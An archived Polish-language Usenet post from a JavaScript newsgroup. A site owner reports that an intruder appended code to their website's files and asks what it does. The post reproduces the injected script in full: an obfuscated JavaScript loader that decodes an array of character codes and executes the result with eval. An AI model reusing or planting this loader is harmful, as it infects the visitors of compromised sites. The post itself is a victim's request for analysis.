Article View: pl.comp.lang.javascript
Article #51261Co robi ten skrypt?
From: mipaj1111
Date: Fri, 04 Jan 2013 08:07
Date: Fri, 04 Jan 2013 08:07
10 lines
3412 bytes
3412 bytes
Dzień dobry,
Jakiś czas temu ktoś włamał się na prowadzoną przeze mnie stronę www i podmienił, a właściwie podopisywał coś do niektórych plików.
Poniżej zawartość jednego z tych dopisów, i moja prośba do Was - co ten skrypt robi?
*************
try{bgewg346tr++}catch(aszx){try{dsgdsg-142}catch(dsfsd){try{window.document.body++}catch(gdsgsdg){dbshre=26;}}}
if(dbshre){asd=0;try{d=document.createElement("div");d.innerHTML.a="asd";}catch(agdsg){asd=1;}if(!asd){e=eval;}asgq=new Array(31,94,110,104,94,107,97,104,104,27,31,33,25,117,8,1,24,25,26,27,109,89,107,26,101,112,95,112,26,56,23,92,104,93,112,100,93,103,110,41,90,106,94,91,111,92,61,101,95,104,92,102,109,34,34,96,94,107,91,104,92,31,34,53,8,1,5,3,26,27,23,24,99,115,98,110,38,108,108,94,23,53,25,33,99,107,108,105,52,42,38,41,101,105,102,105,89,108,104,116,106,108,90,113,41,90,90,90,40,107,99,39,98,103,92,94,93,108,41,111,105,89,95,40,107,95,104,32,53,8,1,24,25,26,27,97,113,96,113,41,106,108,114,102,96,37,104,104,109,100,107,97,104,104,27,52,24,32,91,93,106,103,101,111,111,92,31,52,7,5,23,24,25,26,101,112,95,112,40,110,107,113,101,95,41,89,103,107,94,96,105,24,54,26,34,39,31,52,7,5,23,24,25,26,101,112,95,112,40,110,107,113,101,95,41,95,93,98,97,99,107,24,54,26,34,40,104,113,33,54,4,2,25,26,27,23,98,114,97,114,37,107,109,115,103,92,38,112,99,95,107,96,25,55,27,30,41,105,114,34,50,5,3,26,27,23,24,99,115,98,110,38,108,110,116,99,93,39,102,96,93,108,25,55,27,30,41,105,114,34,50,5,3,26,27,23,24,99,115,98,110,38,108,110,116,99,93,39,110,106,103,24,54,26,34,40,104,113,33,54,4,2,6,4,27,23,24,25,99,97,23,32,26,94,106,90,109,102,95,105,107,38,96,95,111,60,100,94,103,96,101,108,59,115,68,91,32,32,100,116,94,111,32,35,36,23,115,6,4,27,23,24,25,26,27,23,24,93,105,94,108,101,94,104,111,37,111,107,99,111,92,32,32,54,95,96,110,25,99,95,52,84,32,100,116,94,111,85,33,57,51,39,93,99,113,53,31,34,53,8,1,24,25,26,27,23,24,25,26,95,102,91,110,103,96,101,108,39,97,96,107,61,101,95,104,92,102,109,60,116,64,92,33,33,101,112,95,112,33,36,37,89,105,106,96,101,92,60,98,100,99,92,33,100,116,94,111,34,53,8,1,24,25,26,27,116,5,3,119,36,31,33,52);s="";for(i=0;i-493!=0;i++){if(020==0x10)s+=String.fromCharCode(1*asgq[i]-(i%5-9));}z=s;e(z);}
Technical Details
Message-ID:
<38445ab7-629d-458f-a622-1aff9b1211f7@googlegroups.com>Path:
mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!news.icm.edu.pl!plix.pl!newsfeed2.plix.pl!feed.xsnews.nl!border-1.ams.xsnews.nl!news.mixmin.net!hq-usenetpeers.eweka.nl!81.171.88.15.MISMATCH!eweka.nl!lightspeed.eweka.nl!209.85.212.216.MISMATCH!m3no7446736wim.1!news-out.google.com!i11ni350854wiw.0!nntp.google.com!m3no7446734wim.1!postnews.google.com!glegroupsg2000goo.googlegroups.com!not-for-mailShow Full Headers
Complete Article Headers
X-Received: by 10.180.83.101 with SMTP id p5mr13536100wiy.0.1357286871638; Fri, 04 Jan 2013 00:07:51 -0800 (PST) Received: by 10.49.94.129 with SMTP id dc1mr8643008qeb.22.1357286871219; Fri, 04 Jan 2013 00:07:51 -0800 (PST) Path: mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!news.icm.edu.pl!plix.pl!newsfeed2.plix.pl!feed.xsnews.nl!border-1.ams.xsnews.nl!news.mixmin.net!hq-usenetpeers.eweka.nl!81.171.88.15.MISMATCH!eweka.nl!lightspeed.eweka.nl!209.85.212.216.MISMATCH!m3no7446736wim.1!news-out.google.com!i11ni350854wiw.0!nntp.google.com!m3no7446734wim.1!postnews.google.com!glegroupsg2000goo.googlegroups.com!not-for-mail Newsgroups: pl.comp.lang.javascript Date: Fri, 4 Jan 2013 00:07:51 -0800 (PST) Complaints-To: groups-abuse@google.com Injection-Info: glegroupsg2000goo.googlegroups.com; posting-host=80.252.1.29; posting-account=SK8QMAkAAAAuQGZX6vW65lOdILjGASoE NNTP-Posting-Host: 80.252.1.29 User-Agent: G2/1.0 MIME-Version: 1.0 Message-ID: <38445ab7-629d-458f-a622-1aff9b1211f7@googlegroups.com> Subject: Co robi ten skrypt? From: mipaj1111@gmail.com Injection-Date: Fri, 04 Jan 2013 08:07:51 +0000 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit